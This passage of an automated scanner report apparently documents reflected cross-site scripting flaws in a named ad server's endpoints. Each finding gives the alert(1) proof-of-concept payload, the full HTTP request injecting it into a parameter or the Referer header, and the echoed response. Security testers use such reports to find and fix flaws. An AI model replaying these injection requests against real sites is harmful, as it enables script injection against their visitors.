Cookie: DW=9bba28d1288937145; IXAIFirstHit2316=11%2f5%2f2010+1%3a28%3a13+AM; IXAIBanners2316=172110,172110; IXAIBannerCounter172110=2; IXAILastHit2316=11%2f7%2f2010+12%3a13%3a36+AM; IXAICampaignCounter2316=2; IXAIBannerCounter170677=1; IXAIFirstHit2248=11%2f11%2f2010+6%3a45%3a17+PM; IXAIBanners2251=170722; IXAIBannerCounter170722=1; IXAIFirstHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAILastHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAICampaignCounter2251=1; IXAIFirstHit2211=11%2f16%2f2010+6%3a40%3a19+PM; IXAIBannerCounter169909=7; IXAIBanners2310=172498; IXAIBannerCounter172498=1; IXAIFirstHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAILastHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAICampaignCounter2310=1; IXAIBanners2211=169909,169909,169909,169909,169909,169909,169909,170103; IXAIBannerCounter170103=1; IXAILastHit2211=11%2f26%2f2010+3%3a00%3a00+PM; IXAICampaignCounter2211=8; IXAIBanners2044=166228; IXAIBannerCounter166228=1; IXAIFirstHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAILastHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAICampaignCounter2044=1; IXAIBannerCounter173394=1; IXAIFirstHit2357=12%2f1%2f2010+11%3a03%3a32+AM; IXAIBanners2357=173394,173401; IXAIBannerCounter173401=1; IXAILastHit2357=12%2f1%2f2010+10%3a53%3a57+AM; IXAICampaignCounter2357=2; lastInvite=12%2f1%2f2010+11%3a09%3a31+AM; IXAIinvited2357=true; IXAICampaignCounter2203=0; IXAIControlCounter2203=0; IXAIBannerCounter170478=0; IXAIBanners2203=170478,170478,170478; IXAIBanners2248=170677,170676; IXAIBannerCounter170676=1; IXAILastHit2248=12%2f11%2f2010+10%3a35%3a24+AM; IXAICampaignCounter2248=2; IXAICampaignCounter2018=0; IXAIControlCounter2018=0; IXAIBannerCounter169712=0; IXAIBanners2018=169712; IXAIBanners2284=171378; IXAIBannerCounter171378=1; IXAIFirstHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAILastHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAICampaignCounter2284=1; IXAIBannerCounter161858=1; IXAIFirstHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAIBanners1946=161858,161857; IXAIBannerCounter161857=1; IXAILastHit1946=12%2f11%2f2010+9%3a53%3a03+PM; IXAICampaignCounter1946=2

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Date: Sun, 12 Dec 2010 03:10:14 GMT
Connection: close
Cache-Control: no-store
Content-Length: 19769

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...
ytics.TotalTimeInView);},1000)}});InsightExpress.Path='/adserver/';InsightExpress.DomainName='core.insightexpressai.com';InsightExpress.QueryString='esi=true&bannerID=161857&referer=www.darkreading.com3e34a'-alert(1)-'d39809cba36&siteID=197028858&creativeID=142745208'; InsightExpress.onload=function(){InsightExpress.Loaded=true;if(!InsightExpress.Cookies.Enabled()) return;var invite=new InsightExpress.PopUpInvite({"Disallow":{
...[SNIP]...

2.5. http://core.insightexpressai.com/adServer/GetInvite2.aspx [siteID parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The value of the siteID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e7386'-alert(1)-'a2b2aa77b38 was submitted in the siteID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adServer/GetInvite2.aspx?esi=true&bannerID=161857&referer=www.darkreading.com&siteID=197028858e7386'-alert(1)-'a2b2aa77b38&creativeID=142745208 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://www.darkreading.com/blog/archives/evil-bytes/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=9bba28d1288937145; IXAIFirstHit2316=11%2f5%2f2010+1%3a28%3a13+AM; IXAIBanners2316=172110,172110; IXAIBannerCounter172110=2; IXAILastHit2316=11%2f7%2f2010+12%3a13%3a36+AM; IXAICampaignCounter2316=2; IXAIBannerCounter170677=1; IXAIFirstHit2248=11%2f11%2f2010+6%3a45%3a17+PM; IXAIBanners2251=170722; IXAIBannerCounter170722=1; IXAIFirstHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAILastHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAICampaignCounter2251=1; IXAIFirstHit2211=11%2f16%2f2010+6%3a40%3a19+PM; IXAIBannerCounter169909=7; IXAIBanners2310=172498; IXAIBannerCounter172498=1; IXAIFirstHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAILastHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAICampaignCounter2310=1; IXAIBanners2211=169909,169909,169909,169909,169909,169909,169909,170103; IXAIBannerCounter170103=1; IXAILastHit2211=11%2f26%2f2010+3%3a00%3a00+PM; IXAICampaignCounter2211=8; IXAIBanners2044=166228; IXAIBannerCounter166228=1; IXAIFirstHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAILastHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAICampaignCounter2044=1; IXAIBannerCounter173394=1; IXAIFirstHit2357=12%2f1%2f2010+11%3a03%3a32+AM; IXAIBanners2357=173394,173401; IXAIBannerCounter173401=1; IXAILastHit2357=12%2f1%2f2010+10%3a53%3a57+AM; IXAICampaignCounter2357=2; lastInvite=12%2f1%2f2010+11%3a09%3a31+AM; IXAIinvited2357=true; IXAICampaignCounter2203=0; IXAIControlCounter2203=0; IXAIBannerCounter170478=0; IXAIBanners2203=170478,170478,170478; IXAIBanners2248=170677,170676; IXAIBannerCounter170676=1; IXAILastHit2248=12%2f11%2f2010+10%3a35%3a24+AM; IXAICampaignCounter2248=2; IXAICampaignCounter2018=0; IXAIControlCounter2018=0; IXAIBannerCounter169712=0; IXAIBanners2018=169712; IXAIBanners2284=171378; IXAIBannerCounter171378=1; IXAIFirstHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAILastHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAICampaignCounter2284=1; IXAIBannerCounter161858=1; IXAIFirstHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAIBanners1946=161858,161857; IXAIBannerCounter161857=1; IXAILastHit1946=12%2f11%2f2010+9%3a53%3a03+PM; IXAICampaignCounter1946=2

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Date: Sun, 12 Dec 2010 03:10:26 GMT
Connection: close
Cache-Control: no-store
Content-Length: 19741

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...
View);},1000)}});InsightExpress.Path='/adserver/';InsightExpress.DomainName='core.insightexpressai.com';InsightExpress.QueryString='esi=true&bannerID=161857&referer=www.darkreading.com&siteID=197028858e7386'-alert(1)-'a2b2aa77b38&creativeID=142745208'; InsightExpress.onload=function(){InsightExpress.Loaded=true;if(!InsightExpress.Cookies.Enabled()) return;var invite=new InsightExpress.PopUpInvite({"Disallow":{"SafeGuard":false
...[SNIP]...

2.6. http://core.insightexpressai.com/adServer/adServerESI.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary


Severity:   High
Confidence:   Certain
Host:   http://core.insightexpressai.com
Path:   /adServer/adServerESI.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a038b"%3balert(1)//cbec0d2b53d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as a038b";alert(1)//cbec0d2b53d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adServer/adServerESI.aspx?bannerID=160683&siteID=197028858&creativeID=142745208&a038b"%3balert(1)//cbec0d2b53d=1 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://www.darkreading.com/blog/archives/evil-bytes/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=9bba28d1288937145; IXAIFirstHit2316=11%2f5%2f2010+1%3a28%3a13+AM; IXAIBanners2316=172110,172110; IXAIBannerCounter172110=2; IXAILastHit2316=11%2f7%2f2010+12%3a13%3a36+AM; IXAICampaignCounter2316=2; IXAIBannerCounter170677=1; IXAIFirstHit2248=11%2f11%2f2010+6%3a45%3a17+PM; IXAIBanners2251=170722; IXAIBannerCounter170722=1; IXAIFirstHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAILastHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAICampaignCounter2251=1; IXAIFirstHit2211=11%2f16%2f2010+6%3a40%3a19+PM; IXAIBannerCounter169909=7; IXAIBanners2310=172498; IXAIBannerCounter172498=1; IXAIFirstHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAILastHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAICampaignCounter2310=1; IXAIBanners2211=169909,169909,169909,169909,169909,169909,169909,170103; IXAIBannerCounter170103=1; IXAILastHit2211=11%2f26%2f2010+3%3a00%3a00+PM; IXAICampaignCounter2211=8; IXAIBanners2044=166228; IXAIBannerCounter166228=1; IXAIFirstHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAILastHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAICampaignCounter2044=1; IXAIBannerCounter173394=1; IXAIFirstHit2357=12%2f1%2f2010+11%3a03%3a32+AM; IXAIBanners2357=173394,173401; IXAIBannerCounter173401=1; IXAILastHit2357=12%2f1%2f2010+10%3a53%3a57+AM; IXAICampaignCounter2357=2; lastInvite=12%2f1%2f2010+11%3a09%3a31+AM; IXAIinvited2357=true; IXAICampaignCounter2203=0; IXAIControlCounter2203=0; IXAIBannerCounter170478=0; IXAIBanners2203=170478,170478,170478; IXAIBanners2248=170677,170676; IXAIBannerCounter170676=1; IXAILastHit2248=12%2f11%2f2010+10%3a35%3a24+AM; IXAICampaignCounter2248=2; IXAICampaignCounter2018=0; IXAIControlCounter2018=0; IXAIBannerCounter169712=0; IXAIBanners2018=169712; IXAIBanners2284=171378; IXAIBannerCounter171378=1; IXAIFirstHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAILastHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAICampaignCounter2284=1; IXAIBanners1946=161858; IXAIBannerCounter161858=1; IXAIFirstHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAILastHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAICampaignCounter1946=1

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/7.0
Content-Type: text/javascript; charset=utf-8
Set-Cookie: IXAIBanners1946=161858,161857; domain=.insightexpressai.com; expires=Fri, 11-Dec-2015 12:00:00 GMT; path=/
Set-Cookie: IXAIBannerCounter161857=1; domain=.insightexpressai.com; expires=Fri, 11-Dec-2015 12:00:00 GMT; path=/
Set-Cookie: IXAILastHit1946=12%2f11%2f2010+9%3a49%3a13+PM; domain=.insightexpressai.com; expires=Fri, 11-Dec-2015 12:00:00 GMT; path=/
Set-Cookie: IXAICampaignCounter1946=2; domain=.insightexpressai.com; expires=Fri, 11-Dec-2015 12:00:00 GMT; path=/
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Vary: Accept-Encoding
Expires: Sun, 12 Dec 2010 03:13:48 GMT
Pragma: no-cache
Date: Sun, 12 Dec 2010 03:13:48 GMT
Connection: close
Cache-Control: no-store
Content-Length: 1886


(function() {var InsightExpress={}; InsightExpress.DomainName = 'core.insightexpressai.com';InsightExpress.BannerID=161857;InsightExpress.CampaignID=1946; InsightExpress.AddProps=function(c,p
...[SNIP]...
;var s = document.createElement('script');s.language='javascript';s.src="http://core.insightexpressai.com/adServer/GetInvite2.aspx?esi=true&bannerID=161857&referer=www.darkreading.com&siteID=197028858&a038b";alert(1)//cbec0d2b53d=1&creativeID=142745208";document.getElementsByTagName('head')[0].appendChild(s);}})();

2.7. http://core.insightexpressai.com/adserver/invites/Reconcile.aspx [bannerID parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://core.insightexpressai.com
Path:   /adserver/invites/Reconcile.aspx

Issue detail

The value of the bannerID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 518fc'%3balert(1)//339d45147ba was submitted in the bannerID parameter. This input was echoed as 518fc';alert(1)//339d45147ba in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adserver/invites/Reconcile.aspx?bannerID=161857518fc'%3balert(1)//339d45147ba&campaignID=1946 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://www.darkreading.com/blog/archives/evil-bytes/index.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=9bba28d1288937145; IXAIFirstHit2316=11%2f5%2f2010+1%3a28%3a13+AM; IXAIBanners2316=172110,172110; IXAIBannerCounter172110=2; IXAILastHit2316=11%2f7%2f2010+12%3a13%3a36+AM; IXAICampaignCounter2316=2; IXAIBannerCounter170677=1; IXAIFirstHit2248=11%2f11%2f2010+6%3a45%3a17+PM; IXAIBanners2251=170722; IXAIBannerCounter170722=1; IXAIFirstHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAILastHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAICampaignCounter2251=1; IXAIFirstHit2211=11%2f16%2f2010+6%3a40%3a19+PM; IXAIBannerCounter169909=7; IXAIBanners2310=172498; IXAIBannerCounter172498=1; IXAIFirstHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAILastHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAICampaignCounter2310=1; IXAIBanners2211=169909,169909,169909,169909,169909,169909,169909,170103; IXAIBannerCounter170103=1; IXAILastHit2211=11%2f26%2f2010+3%3a00%3a00+PM; IXAICampaignCounter2211=8; IXAIBanners2044=166228; IXAIBannerCounter166228=1; IXAIFirstHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAILastHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAICampaignCounter2044=1; IXAIBannerCounter173394=1; IXAIFirstHit2357=12%2f1%2f2010+11%3a03%3a32+AM; IXAIBanners2357=173394,173401; IXAIBannerCounter173401=1; IXAILastHit2357=12%2f1%2f2010+10%3a53%3a57+AM; IXAICampaignCounter2357=2; lastInvite=12%2f1%2f2010+11%3a09%3a31+AM; IXAIinvited2357=true; IXAICampaignCounter2203=0; IXAIControlCounter2203=0; IXAIBannerCounter170478=0; IXAIBanners2203=170478,170478,170478; IXAIBanners2248=170677,170676; IXAIBannerCounter170676=1; IXAILastHit2248=12%2f11%2f2010+10%3a35%3a24+AM; IXAICampaignCounter2248=2; IXAICampaignCounter2018=0; IXAIControlCounter2018=0; IXAIBannerCounter169712=0; IXAIBanners2018=169712; IXAIBanners2284=171378; IXAIBannerCounter171378=1; IXAIFirstHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAILastHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAICampaignCounter2284=1; IXAIBannerCounter161858=1; IXAIFirstHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAIBanners1946=161858,161857,161857; IXAIBannerCounter161857=2; IXAILastHit1946=12%2f11%2f2010+10%3a02%3a02+PM; IXAICampaignCounter1946=3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Date: Sun, 12 Dec 2010 03:10:37 GMT
Connection: close
Cache-Control: no-store
Content-Length: 17631


<script>

var ReconcilePage = true;
var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText
...[SNIP]...
t();
InsightExpress.DomainName = 'core.insightexpressai.com';
InsightExpress.CurrentInvite = {};
InsightExpress.CurrentInvite.Settings = {};
InsightExpress.CurrentInvite.Settings.BannerID = '161857518fc';alert(1)//339d45147ba';
InsightExpress.CurrentInvite.Settings.CampaignID = '1946';


</script>
...[SNIP]...

2.8. http://core.insightexpressai.com/adserver/invites/Reconcile.aspx [campaignID parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://core.insightexpressai.com
Path:   /adserver/invites/Reconcile.aspx

Issue detail

The value of the campaignID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c15af'%3balert(1)//39926be4976 was submitted in the campaignID parameter. This input was echoed as c15af';alert(1)//39926be4976 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adserver/invites/Reconcile.aspx?bannerID=161857&campaignID=1946c15af'%3balert(1)//39926be4976 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://www.darkreading.com/blog/archives/evil-bytes/index.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=9bba28d1288937145; IXAIFirstHit2316=11%2f5%2f2010+1%3a28%3a13+AM; IXAIBanners2316=172110,172110; IXAIBannerCounter172110=2; IXAILastHit2316=11%2f7%2f2010+12%3a13%3a36+AM; IXAICampaignCounter2316=2; IXAIBannerCounter170677=1; IXAIFirstHit2248=11%2f11%2f2010+6%3a45%3a17+PM; IXAIBanners2251=170722; IXAIBannerCounter170722=1; IXAIFirstHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAILastHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAICampaignCounter2251=1; IXAIFirstHit2211=11%2f16%2f2010+6%3a40%3a19+PM; IXAIBannerCounter169909=7; IXAIBanners2310=172498; IXAIBannerCounter172498=1; IXAIFirstHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAILastHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAICampaignCounter2310=1; IXAIBanners2211=169909,169909,169909,169909,169909,169909,169909,170103; IXAIBannerCounter170103=1; IXAILastHit2211=11%2f26%2f2010+3%3a00%3a00+PM; IXAICampaignCounter2211=8; IXAIBanners2044=166228; IXAIBannerCounter166228=1; IXAIFirstHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAILastHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAICampaignCounter2044=1; IXAIBannerCounter173394=1; IXAIFirstHit2357=12%2f1%2f2010+11%3a03%3a32+AM; IXAIBanners2357=173394,173401; IXAIBannerCounter173401=1; IXAILastHit2357=12%2f1%2f2010+10%3a53%3a57+AM; IXAICampaignCounter2357=2; lastInvite=12%2f1%2f2010+11%3a09%3a31+AM; IXAIinvited2357=true; IXAICampaignCounter2203=0; IXAIControlCounter2203=0; IXAIBannerCounter170478=0; IXAIBanners2203=170478,170478,170478; IXAIBanners2248=170677,170676; IXAIBannerCounter170676=1; IXAILastHit2248=12%2f11%2f2010+10%3a35%3a24+AM; IXAICampaignCounter2248=2; IXAICampaignCounter2018=0; IXAIControlCounter2018=0; IXAIBannerCounter169712=0; IXAIBanners2018=169712; IXAIBanners2284=171378; IXAIBannerCounter171378=1; IXAIFirstHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAILastHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAICampaignCounter2284=1; IXAIBannerCounter161858=1; IXAIFirstHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAIBanners1946=161858,161857,161857; IXAIBannerCounter161857=2; IXAILastHit1946=12%2f11%2f2010+10%3a02%3a02+PM; IXAICampaignCounter1946=3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Date: Sun, 12 Dec 2010 03:10:47 GMT
Connection: close
Cache-Control: no-store
Content-Length: 17631


<script>

var ReconcilePage = true;
var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText
...[SNIP]...
';
InsightExpress.CurrentInvite = {};
InsightExpress.CurrentInvite.Settings = {};
InsightExpress.CurrentInvite.Settings.BannerID = '161857';
InsightExpress.CurrentInvite.Settings.CampaignID = '1946c15af';alert(1)//39926be4976';


</script>
...[SNIP]...

2.9. http://core.insightexpressai.com/adServer/adServerESI.aspx [Referer HTTP header]  previous

Summary

Severity:   Low
Confidence:   Certain
Host:   http://core.insightexpressai.com
Path:   /adServer/adServerESI.aspx

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ad2eb"-alert(1)-"361ecd0189a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adServer/adServerESI.aspx?bannerID=160683&siteID=197028858&creativeID=142745208 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: ad2eb"-alert(1)-"361ecd0189a
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=9bba28d1288937145; IXAIFirstHit2316=11%2f5%2f2010+1%3a28%3a13+AM; IXAIBanners2316=172110,172110; IXAIBannerCounter172110=2; IXAILastHit2316=11%2f7%2f2010+12%3a13%3a36+AM; IXAICampaignCounter2316=2; IXAIBannerCounter170677=1; IXAIFirstHit2248=11%2f11%2f2010+6%3a45%3a17+PM; IXAIBanners2251=170722; IXAIBannerCounter170722=1; IXAIFirstHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAILastHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAICampaignCounter2251=1; IXAIFirstHit2211=11%2f16%2f2010+6%3a40%3a19+PM; IXAIBannerCounter169909=7; IXAIBanners2310=172498; IXAIBannerCounter172498=1; IXAIFirstHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAILastHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAICampaignCounter2310=1; IXAIBanners2211=169909,169909,169909,169909,169909,169909,169909,170103; IXAIBannerCounter170103=1; IXAILastHit2211=11%2f26%2f2010+3%3a00%3a00+PM; IXAICampaignCounter2211=8; IXAIBanners2044=166228; IXAIBannerCounter166228=1; IXAIFirstHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAILastHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAICampaignCounter2044=1; IXAIBannerCounter173394=1; IXAIFirstHit2357=12%2f1%2f2010+11%3a03%3a32+AM; IXAIBanners2357=173394,173401; IXAIBannerCounter173401=1; IXAILastHit2357=12%2f1%2f2010+10%3a53%3a57+AM; IXAICampaignCounter2357=2; lastInvite=12%2f1%2f2010+11%3a09%3a31+AM; IXAIinvited2357=true; IXAICampaignCounter2203=0; IXAIControlCounter2203=0; IXAIBannerCounter170478=0; IXAIBanners2203=170478,170478,170478; IXAIBanners2248=170677,170676; IXAIBannerCounter170676=1; IXAILastHit2248=12%2f11%2f2010+10%3a35%3a24+AM; IXAICampaignCounter2248=2; IXAICampaignCounter2018=0; IXAIControlCounter2018=0; IXAIBannerCounter169712=0; IXAIBanners2018=169712; IXAIBanners2284=171378; IXAIBannerCounter171378=1; IXAIFirstHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAILastHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAICampaignCounter2284=1; IXAIBanners1946=161858; IXAIBannerCounter161858=1; IXAIFirstHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAILastHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAICampaignCounter1946=1

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/7.0
Content-Type: text/javascript; charset=utf-8
Set-Cookie: IXAIBanners1946=161858,161857; domain=.insightexpressai.com; expires=Fri, 11-Dec-2015 12:00:00 GMT; path=/
Set-Cookie: IXAIBannerCounter161857=1; domain=.insightexpressai.com; expires=Fri, 11-Dec-2015 12:00:00 GMT; path=/
Set-Cookie: IXAILastHit1946=12%2f11%2f2010+9%3a49%3a13+PM; domain=.insightexpressai.com; expires=Fri, 11-Dec-2015 12:00:00 GMT; path=/
Set-Cookie: IXAICampaignCounter1946=2; domain=.insightexpressai.com; expires=Fri, 11-Dec-2015 12:00:00 GMT; path=/
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Vary: Accept-Encoding
Expires: Sun, 12 Dec 2010 03:13:53 GMT
Pragma: no-cache
Date: Sun, 12 Dec 2010 03:13:53 GMT
Connection: close
Cache-Control: no-store
Content-Length: 1864


(function() {var InsightExpress={}; InsightExpress.DomainName = 'core.insightexpressai.com';InsightExpress.BannerID=161857;InsightExpress.CampaignID=1946; InsightExpress.AddProps=function(c,p
...[SNIP]...
InviteAllowed()){IX_InvitePerformed();var s = document.createElement('script');s.language='javascript';s.src="http://core.insightexpressai.com/adServer/GetInvite2.aspx?esi=true&bannerID=161857&referer=ad2eb"-alert(1)-"361ecd0189a&siteID=197028858&creativeID=142745208";document.getElementsByTagName('head')[0].appendChild(s);}})();

Report generated by XSS.CX at Sun Dec 12 08:04:02 CST 2010.